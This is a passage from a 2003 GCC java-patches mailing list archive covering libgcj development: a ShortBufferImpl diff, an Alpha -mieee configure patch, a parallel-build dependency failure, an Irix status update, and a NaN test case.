nio_get_Float(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Float(ShortBufferImpl b, int index, int limit, float value); - public FloatBuffer asFloatBuffer() { FloatBufferImpl res = new FloatBufferImpl(backing_buffer); res.limit((limit()*4)/2); return res; } - - ShortBufferImpl(double[] copy) { this.backing_buffer = copy != null ? nio_cast(copy) : null; } - private static native double nio_get_Double(ShortBufferImpl b, int index, int limit); - private static native void nio_put_Double(ShortBufferImpl b, int index, int limit, double value); - public DoubleBuffer asDoubleBuffer() { DoubleBufferImpl res = new DoubleBufferImpl(backing_buffer); res.limit((limit()*8)/2); return res; } - - private static native short[] nio_cast(byte[]copy); - private static native short[] nio_cast(char[]copy); - private static native short[] nio_cast(short[]copy); - private static native short[] nio_cast(long[]copy); - private static native short[] nio_cast(int[]copy); - private static native short[] nio_cast(float[]copy); - private static native short[] nio_cast(double[]copy); + readOnly = copy.isReadOnly (); + } + + private static native short[] nio_cast (byte[] copy); + + ShortBufferImpl (byte[] copy) + { + super (copy.length, copy.length, 0, 0); + this.backing_buffer = copy != null ? nio_cast (copy) : null; + readOnly = false; + } + + private static native byte nio_get_Byte (ShortBufferImpl b, int index, int limit); + + private static native void nio_put_Byte (ShortBufferImpl b, int index, int limit, byte value); + + public ByteBuffer asByteBuffer () + { + ByteBufferImpl res = new ByteBufferImpl (backing_buffer); + res.limit ((limit () * 1) / 2); + return res; + } public boolean isReadOnly() { - return ro; + return readOnly; } public ShortBuffer slice() { - ShortBufferImpl a = new ShortBufferImpl(this); - a.array_offset = position(); - return a; + return new ShortBufferImpl (this); } public ShortBuffer duplicate() @@ -141,9 +107,9 @@ public ShortBuffer asReadOnlyBuffer() { - ShortBufferImpl a = new ShortBufferImpl(this); - a.ro = true; - return a; + ShortBufferImpl result = new ShortBufferImpl (this); + result.readOnly = true; + return result; } public ShortBuffer compact() @@ -153,7 +119,7 @@ public boolean isDirect() { - return backing_buffer != null; + return false; } final public short get() @@ -165,6 +131,9 @@ final public ShortBuffer put(short b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[position()] = b; position(position()+1); return this; @@ -177,14 +146,15 @@ final public ShortBuffer put(int index, short b) { + if (readOnly) + throw new ReadOnlyBufferException (); + backing_buffer[index] = b; return this; } - - final public char getChar() { char a = nio_get_Char(this, position(), limit()); inc_pos(2); return a; } final public ShortBuffer putChar(char value) { nio_put_Char(this, position(), limit(), value); inc_pos(2); return this; } final public char getChar(int index) { char a = nio_get_Char(this, index, limit()); return a; } final public ShortBuffer putChar(int index, char value) { nio_put_Char(this, index, limit(), value); return this; }; - final public short getShort() { return get(); } final public ShortBuffer putShort(short value) { return put(value); } final public short getShort(int index) { return get(index); } final public ShortBuffer putShort(int index, short value) { return put(index, value); }; - final public int getInt() { int a = nio_get_Int(this, position(), limit()); inc_pos(4); return a; } final public ShortBuffer putInt(int value) { nio_put_Int(this, position(), limit(), value); inc_pos(4); return this; } final public int getInt(int index) { int a = nio_get_Int(this, index, limit()); return a; } final public ShortBuffer putInt(int index, int value) { nio_put_Int(this, index, limit(), value); return this; }; - final public long getLong() { long a = nio_get_Long(this, position(), limit()); inc_pos(8); return a; } final public ShortBuffer putLong(long value) { nio_put_Long(this, position(), limit(), value); inc_pos(8); return this; } final public long getLong(int index) { long a = nio_get_Long(this, index, limit()); return a; } final public ShortBuffer putLong(int index, long value) { nio_put_Long(this, index, limit(), value); return this; }; - final public float getFloat() { float a = nio_get_Float(this, position(), limit()); inc_pos(4); return a; } final public ShortBuffer putFloat(float value) { nio_put_Float(this, position(), limit(), value); inc_pos(4); return this; } final public float getFloat(int index) { float a = nio_get_Float(this, index, limit()); return a; } final public ShortBuffer putFloat(int index, float value) { nio_put_Float(this, index, limit(), value); return this; }; - final public double getDouble() { double a = nio_get_Double(this, position(), limit()); inc_pos(8); return a; } final public ShortBuffer putDouble(double value) { nio_put_Double(this, position(), limit(), value); inc_pos(8); return this; } final public double getDouble(int index) { double a = nio_get_Double(this, index, limit()); return a; } final public ShortBuffer putDouble(int index, double value) { nio_put_Double(this, index, limit(), value); return this; }; + + final public ByteOrder order () + { + return ByteOrder.BIG_ENDIAN; + } } --Boundary-00=_mvNS+RSZqPnGlYy-- From java-patches-return-6058-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 11:57:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6379 invoked by alias); 11 Feb 2003 11:57:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6363 invoked from network); 11 Feb 2003 11:57:17 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 11 Feb 2003 11:57:17 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h1BBvHo21080 for ; Tue, 11 Feb 2003 06:57:17 -0500 Date: Tue, 11 Feb 2003 06:57:17 -0500 (EST) From: Jeff Sturm To: java-patches@gcc.gnu.org Subject: Patch: default to -mieee on alpha Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII With this patch I can build a usable rhino from rhug on alpha-linux. Alpha doesn't handle fp denormals without this flag, and IMO it doesn't make sense to default to settings that won't work for Java code. OK for 3.3 and HEAD, once regression testing completes? 2003-02-11 Jeff Sturm * configure.host (alpha*-*): Default to -mieee. * configure.in (IEEESPEC): New. * libgcj.spec.in (jc1): Add IEEESPEC. * configure: Rebuild. Index: configure.host =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.host,v retrieving revision 1.39.4.6 diff -u -p -r1.39.4.6 configure.host --- configure.host 3 Feb 2003 21:47:15 -0000 1.39.4.6 +++ configure.host 11 Feb 2003 11:46:41 -0000 @@ -110,6 +110,7 @@ case "${host}" in libgcj_flags="${libgcj_flags} -mieee" libgcj_interpreter=yes enable_hash_synchronization_default=yes + IEEESPEC=-mieee ;; powerpc64*-*) # libffi not ported. Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.142.4.4 diff -u -p -r1.142.4.4 configure.in --- configure.in 3 Feb 2003 15:40:13 -0000 1.142.4.4 +++ configure.in 11 Feb 2003 11:46:42 -0000 @@ -792,6 +792,7 @@ AC_SUBST(ZINCS) AC_SUBST(DIVIDESPEC) AC_SUBST(CHECKREFSPEC) AC_SUBST(EXCEPTIONSPEC) +AC_SUBST(IEEESPEC) AM_CONDITIONAL(CANADIAN, test "$CANADIAN" = yes) AM_CONDITIONAL(NULL_TARGET, test "$NULL_TARGET" = yes) Index: libgcj.spec.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/libgcj.spec.in,v retrieving revision 1.23.20.1 diff -u -p -r1.23.20.1 libgcj.spec.in --- libgcj.spec.in 3 Feb 2003 15:40:13 -0000 1.23.20.1 +++ libgcj.spec.in 11 Feb 2003 11:46:42 -0000 @@ -6,4 +6,4 @@ %rename lib liborig *lib: -lgcj -lm @LIBICONV@ @GCSPEC@ @THREADSPEC@ @ZLIBSPEC@ @SYSTEMSPEC@ %(libgcc) %(liborig) -*jc1: @HASH_SYNC_SPEC@ @DIVIDESPEC@ @CHECKREFSPEC@ @JC1GCSPEC@ @EXCEPTIONSPEC@ @BACKTRACESPEC@ -fkeep-inline-functions +*jc1: @HASH_SYNC_SPEC@ @DIVIDESPEC@ @CHECKREFSPEC@ @JC1GCSPEC@ @EXCEPTIONSPEC@ @BACKTRACESPEC@ @IEEESPEC@ -fkeep-inline-functions From java-patches-return-6059-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 15:30:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18969 invoked by alias); 11 Feb 2003 15:30:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18893 invoked from network); 11 Feb 2003 15:29:59 -0000 Received: from unknown (HELO fw-cam.cambridge.arm.com) (193.131.176.3) by 172.16.49.205 with SMTP; 11 Feb 2003 15:29:59 -0000 Received: by fw-cam.cambridge.arm.com; id PAA19718; Tue, 11 Feb 2003 15:29:42 GMT Received: from unknown(172.16.1.2) by fw-cam.cambridge.arm.com via smap (V5.5) id xma019477; Tue, 11 Feb 03 15:29:18 GMT Received: from pc960.cambridge.arm.com (pc960.cambridge.arm.com [10.1.205.4]) by cam-admin0.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id PAA10635; Tue, 11 Feb 2003 15:29:17 GMT Received: from pc960.cambridge.arm.com (rearnsha@localhost) by pc960.cambridge.arm.com (8.11.6/8.9.3) with ESMTP id h1BFTHF27120; Tue, 11 Feb 2003 15:29:17 GMT Message-Id: <200302111529.h1BFTHF27120@pc960.cambridge.arm.com> X-Authentication-Warning: pc960.cambridge.arm.com: rearnsha owned process doing -bs To: java-patches@gcc.gnu.org, Michael Koch cc: Richard.Earnshaw@arm.com Reply-To: Richard.Earnshaw@arm.com Organization: ARM Ltd. X-Telephone: +44 1223 400569 (direct+voicemail), +44 1223 400400 (switchbd) X-Fax: +44 1223 400410 X-Address: ARM Ltd., 110 Fulbourn Road, Cherry Hinton, Cambridge CB1 9NJ. Subject: Re: [PATCH] gnu.java.nio and Makefile.am|in Mime-Version: 1.0 In-reply-to: <200302111217.58158.konqueror@gmx.de> Content-Type: text/plain; charset=us-ascii Date: Tue, 11 Feb 2003 15:29:17 +0000 From: Richard Earnshaw Michael, After your recent patch I'm now seeing a build failure with -j2. /work/rearnsha/gnu/egcs/gcc/xgcc -shared-libgcc -B/work/rearnsha/gnu/egcs/g cc/ -nostdinc++ -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src/.libs -nostdinc -B/work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/ -isystem /work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/targ-include -isystem /home/rearnsha/gnusrc/egcs-cross/newlib/libc/include -B/work/rearnsha/gnu/install/arm-elf/bin/ -B/work/rearnsha/gnu/install/arm- elf/lib/ -isystem /work/rearnsha/gnu/install/arm-elf/include -L/work/rearnsha/gnu/egcs/ld -mthumb -DHAVE_CONFIG_H -I. -I/home/rearnsha/gnusrc/egcs-cross/libjava -I./include -I./gcj -I/home/rearnsha/gnusrc/egcs-cross/libjava -Iinclude -I/home/rearnsha/gnusrc/egcs-cross/libjava/include -I/home/rearnsha/gnusrc/egcs-cross/libjava/../boehm-gc/include -DSILENT=1 -DNO_SIGNALS=1 -DNO_EXECUTE_PERMISSION=1 -DALL_INTERIOR_POINTERS=1 -DJAVA_FINALIZATION=1 -DGC_GCJ_SUPPORT=1 -DATOMIC_UNCOLLECTABLE=1 -DNO_SIGSET=1 -DNO_DEBUGGING=1 -I/home/rearnsha/gnusrc/egcs-cross/libjava/. ././libjava/../gcc -I/home/rearnsha/gnusrc/egcs-cross/libjava/../zlib -fno-rtti -fnon-call-exceptions -fdollars-in-identifiers -Wswitch-enum -I/usr/X11R6/include -W -Wall -D_GNU_SOURCE -DPREFIX=\"/work/rearnsha/gnu/i nstall\" -g -O2 -mthumb -Wp,-MD,.deps/natSelectorImpl.pp -c /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSelectorImpl.cc -o natSelectorImpl.o /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSelectorImpl.cc:23 :39: gnu/java/nio/SelectorImpl.h: No such file or directory /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSelectorImpl.cc:80 : error: ` gnu::java' is not a class-name or namespace-name gnumake[4]: *** [gnu/java/nio/natSelectorImpl.lo] Error 1 My guess is that this is a dependency failure since as far as I can tell SelectorImpl.h should be auto-built. What is supposed to control this dependency? I can't see anything obvious in the Makefiles. R. From java-patches-return-6060-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 15:44:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27229 invoked by alias); 11 Feb 2003 15:44:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27206 invoked from network); 11 Feb 2003 15:44:31 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 11 Feb 2003 15:44:31 -0000 Received: from 192.168.1.3 (dynadsl-080-228-73-116.ewetel.net [80.228.73.116]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1BFiPGF026845; Tue, 11 Feb 2003 16:44:29 +0100 (MET) From: Michael Koch To: Richard.Earnshaw@arm.com, Richard Earnshaw , java-patches@gcc.gnu.org Subject: Re: [PATCH] gnu.java.nio and Makefile.am|in Date: Tue, 11 Feb 2003 16:44:25 +0100 User-Agent: KMail/1.5 Cc: Richard.Earnshaw@arm.com References: <200302111529.h1BFTHF27120@pc960.cambridge.arm.com> In-Reply-To: <200302111529.h1BFTHF27120@pc960.cambridge.arm.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302111644.28960.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 11. Februar 2003 16:29 schrieb Richard Earnshaw: > Michael, > > After your recent patch I'm now seeing a build failure with -j2. > > /work/rearnsha/gnu/egcs/gcc/xgcc -shared-libgcc > -B/work/rearnsha/gnu/egcs/g cc/ -nostdinc++ > -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src > -L/work/rearnsha/gnu/egcs/arm-elf/thumb/libstdc++-v3/src/.libs > -nostdinc -B/work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/ -isystem > /work/rearnsha/gnu/egcs/arm-elf/thumb/newlib/targ-include -isystem > /home/rearnsha/gnusrc/egcs-cross/newlib/libc/include > -B/work/rearnsha/gnu/install/arm-elf/bin/ > -B/work/rearnsha/gnu/install/arm- elf/lib/ -isystem > /work/rearnsha/gnu/install/arm-elf/include > -L/work/rearnsha/gnu/egcs/ld -mthumb -DHAVE_CONFIG_H -I. > -I/home/rearnsha/gnusrc/egcs-cross/libjava -I./include -I./gcj > -I/home/rearnsha/gnusrc/egcs-cross/libjava -Iinclude > -I/home/rearnsha/gnusrc/egcs-cross/libjava/include > -I/home/rearnsha/gnusrc/egcs-cross/libjava/../boehm-gc/include > -DSILENT=3D1 -DNO_SIGNALS=3D1 -DNO_EXECUTE_PERMISSION=3D1 > -DALL_INTERIOR_POINTERS=3D1 -DJAVA_FINALIZATION=3D1 -DGC_GCJ_SUPPORT=3D1 > -DATOMIC_UNCOLLECTABLE=3D1 -DNO_SIGSET=3D1 -DNO_DEBUGGING=3D1 > -I/home/rearnsha/gnusrc/egcs-cross/libjava/. ././libjava/../gcc > -I/home/rearnsha/gnusrc/egcs-cross/libjava/../zlib -fno-rtti > -fnon-call-exceptions -fdollars-in-identifiers -Wswitch-enum > -I/usr/X11R6/include -W -Wall -D_GNU_SOURCE > -DPREFIX=3D\"/work/rearnsha/gnu/i nstall\" -g -O2 -mthumb > -Wp,-MD,.deps/natSelectorImpl.pp -c > /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSelectorIm >pl.cc -o natSelectorImpl.o > /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSelectorIm >pl.cc:23 > > :39: gnu/java/nio/SelectorImpl.h: No such file or directory > > /home/rearnsha/gnusrc/egcs-cross/libjava/gnu/java/nio/natSelectorIm >pl.cc:80 > > : error: ` > > gnu::java' is not a class-name or namespace-name > gnumake[4]: *** [gnu/java/nio/natSelectorImpl.lo] Error 1 > > > > My guess is that this is a dependency failure since as far as I can > tell SelectorImpl.h should be auto-built. What is supposed to > control this dependency? I can't see anything obvious in the > Makefiles. Thanx for reporting. There should be no dependency on=20 natSelectorImpl.* yet in CVS. I commited a fix. It was in my tree and I accidently patch Makefile.in wrongly. I dont=20 had this error while compiling because this shitty *.lo output file=20 existed in my tree from work before. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+SRpcWSOgCCdjSDsRAiTzAKCKulM/MeTXOOb9Tg4hszLUbafpaACfdgmE DChCA8LK29L68FdcxU2TB0Q=3D =3DNNJ0 =2D----END PGP SIGNATURE----- From java-patches-return-6061-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 16:33:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21401 invoked by alias); 11 Feb 2003 16:33:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21371 invoked from network); 11 Feb 2003 16:33:20 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 16:33:20 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA20026; Tue, 11 Feb 2003 09:33:18 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1F25B4F82DF; Tue, 11 Feb 2003 09:22:52 -0700 (MST) To: Andrew Haley Cc: Java Patch List , Gcc Patch List Subject: Re: Status page References: <15944.2109.31035.414372@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Did you move a lot of KOREAN STEAK KNIVES this trip, Dingy? Date: 11 Feb 2003 09:22:52 -0700 In-Reply-To: <15944.2109.31035.414372@cuddles.cambridge.redhat.com> Message-ID: <87d6lyu6qr.fsf@fleche.redhat.com> Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> SGI Irix 6.5 on Mips (mips-sgi-irix6.5) Andrew> Works, but some tricks needed. Andrew> However, there is no libffi closure interface, so I would guess much Andrew> the Java API doesn't work at all. There's no SEGV handler either. Andrew> I suggest we downgrade the status of this port until closures are Andrew> done. I'm checking in the appended. Tom Index: ChangeLog from Tom Tromey * status.html: Updated status of Irix 6.5. Index: status.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/status.html,v retrieving revision 1.22 diff -u -r1.22 status.html --- status.html 21 Nov 2002 08:34:36 -0000 1.22 +++ status.html 11 Feb 2003 16:32:33 -0000 @@ -143,7 +143,8 @@ supported.
SGI Irix 6.5 on Mips (mips-sgi-irix6.5)
-
Works, but some tricks needed.
+
Some tricks required to build. Byte-code interpreter not +currently supported. No SEGV handler available.
Windows on the Intel PC platform, using the MingW32 compiler (i[56]86-pc-mingw32)
Works for target; works for host (in CVS). Is incomplete.
From java-patches-return-6062-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 16:49:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28744 invoked by alias); 11 Feb 2003 16:49:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28704 invoked from network); 11 Feb 2003 16:49:45 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 16:49:45 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA24220; Tue, 11 Feb 2003 09:49:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 0F2C24F8072; Tue, 11 Feb 2003 09:39:20 -0700 (MST) To: Jeff Sturm Cc: java-patches@gcc.gnu.org Subject: Re: Patch: default to -mieee on alpha References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I just put lots of the EGG SALAD in the SILK SOCKS -- Date: 11 Feb 2003 09:39:19 -0700 In-Reply-To: Message-ID: <87vfzqsrew.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> With this patch I can build a usable rhino from rhug on Jeff> alpha-linux. Alpha doesn't handle fp denormals without this Jeff> flag, and IMO it doesn't make sense to default to settings that Jeff> won't work for Java code. Jeff> OK for 3.3 and HEAD, once regression testing completes? The patch is impeccable, so yes. I'm curious about something, though. How does this interact with strict or non-strict fp? Does -mieee have a negative performance impact? If so, is -mno-ieee something we could or would want to support for non-strictfp code? Tom From java-patches-return-6063-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 16:50:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29765 invoked by alias); 11 Feb 2003 16:50:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29757 invoked from network); 11 Feb 2003 16:50:56 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 16:50:56 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA24512; Tue, 11 Feb 2003 09:50:55 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 348434F8072; Tue, 11 Feb 2003 09:40:32 -0700 (MST) To: Andreas Tobler Cc: "Boehm, Hans" , java-patches Subject: Re: [PATCH] undef MPROTECT_VDB for darwin? References: <3E434813.1000608@pop.agri.ch> <87hebbv4uo.fsf@fleche.redhat.com> <3E488A4B.6080804@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm ANN LANDERS!! I can SHOPLIFT!! Date: 11 Feb 2003 09:40:31 -0700 In-Reply-To: <3E488A4B.6080804@pop.agri.ch> Message-ID: <87r8aesrcw.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: >> You might as well put this in now. Andreas> For both 3.3 and 3.4? Yes. >> We'd like to import the GC for the release, but I suppose there's a >> chance that lack of time will prevent that. (I don't know yet.) So >> putting this in is an improvement, and if we do upgrade it won't have >> hurt us. Andreas> True, yes. For which release? 3.3? Should be soon..? We hope to get the new GC into 3.3, which is fast approaching. I'm not sure of the exact date, but I've heard March 1 as a possibility. Tom From java-patches-return-6064-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 18:03:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28642 invoked by alias); 11 Feb 2003 18:03:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28621 invoked from network); 11 Feb 2003 18:03:15 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 11 Feb 2003 18:03:15 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E4318FD0002FEA5; Tue, 11 Feb 2003 19:03:13 +0100 Message-ID: <3E493AE0.5030300@pop.agri.ch> Date: Tue, 11 Feb 2003 19:03:12 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: java-patches Subject: Re: [PATCH] undef MPROTECT_VDB for darwin? References: <3E434813.1000608@pop.agri.ch> <87hebbv4uo.fsf@fleche.redhat.com> <3E488A4B.6080804@pop.agri.ch> <87r8aesrcw.fsf@fleche.redhat.com> In-Reply-To: <87r8aesrcw.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: > Andreas> For both 3.3 and 3.4? > > Yes. Ok, I'll apply asap. > We hope to get the new GC into 3.3, which is fast approaching. I'm > not sure of the exact date, but I've heard March 1 as a possibility. Let me know, I may can help testing. Andreas From java-patches-return-6065-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 18:05:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29290 invoked by alias); 11 Feb 2003 18:05:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29282 invoked from network); 11 Feb 2003 18:05:38 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 11 Feb 2003 18:05:38 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h1BI5f530831; Tue, 11 Feb 2003 13:05:41 -0500 Date: Tue, 11 Feb 2003 13:05:41 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: java-patches@gcc.gnu.org Subject: Re: Patch: default to -mieee on alpha In-Reply-To: <87vfzqsrew.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 11 Feb 2003, Tom Tromey wrote: > I'm curious about something, though. How does this interact with > strict or non-strict fp? No idea. > Does -mieee have a negative performance impact? Yes, it places trap barriers in the instruction stream for fp operations. > If so, is -mno-ieee something we could or would want to > support for non-strictfp code? Possibly. The difficulty is that fp traps become unrecoverable. For example, this class will terminate on SIGFPE without -mieee: public class PD { public static void main(String[] args) { double x = Double.NaN; System.out.println(x == x); } } Even x86 with -ffast-math doesn't fault on this code (though it returns the wrong answer). BTW is this example OK for the testsuite? In libjava.lang? Jeff From java-patches-return-6066-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 18:08:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31275 invoked by alias); 11 Feb 2003 18:08:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31268 invoked from network); 11 Feb 2003 18:08:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 11 Feb 2003 18:08:51 -0000 Received: from fleche.redhat.com (tz0179.peakpeak.com [207.174.69.179]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA13380; Tue, 11 Feb 2003 11:08:49 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 98F634F8072; Tue, 11 Feb 2003 10:58:26 -0700 (MST) To: Jeff Sturm Cc: java-patches@gcc.gnu.org Subject: Re: Patch: default to -mieee on alpha References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: All of a sudden, I want to THROW OVER my promising ACTING CAREER, grow a LONG BLACK BEARD and wear a BASEBALL HAT!! ... Although I don't know WHY!! Date: 11 Feb 2003 10:58:26 -0700 In-Reply-To: Message-ID: <87n0l2r96l.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> Possibly. The difficulty is that fp traps become unrecoverable. For Jeff> example, this class will terminate on SIGFPE without -mieee: Ah, ok. I think we can't use -mno-ieee in any situation then. Jeff> BTW is this example OK for the testsuite? In libjava.lang? Sure. Could you add a comment at the top explaining what the test is for? Recently I've come to realize that such comments would be pretty useful to have... Tom From java-patches-return-6067-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 11 18:24:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13043 invoked by alias); 11 Feb 2003 18:24:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13036 invoked from network); 11 Feb 2003 18:24:23 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 11 Feb 2003 18:24:23 -0000 Received: from list by 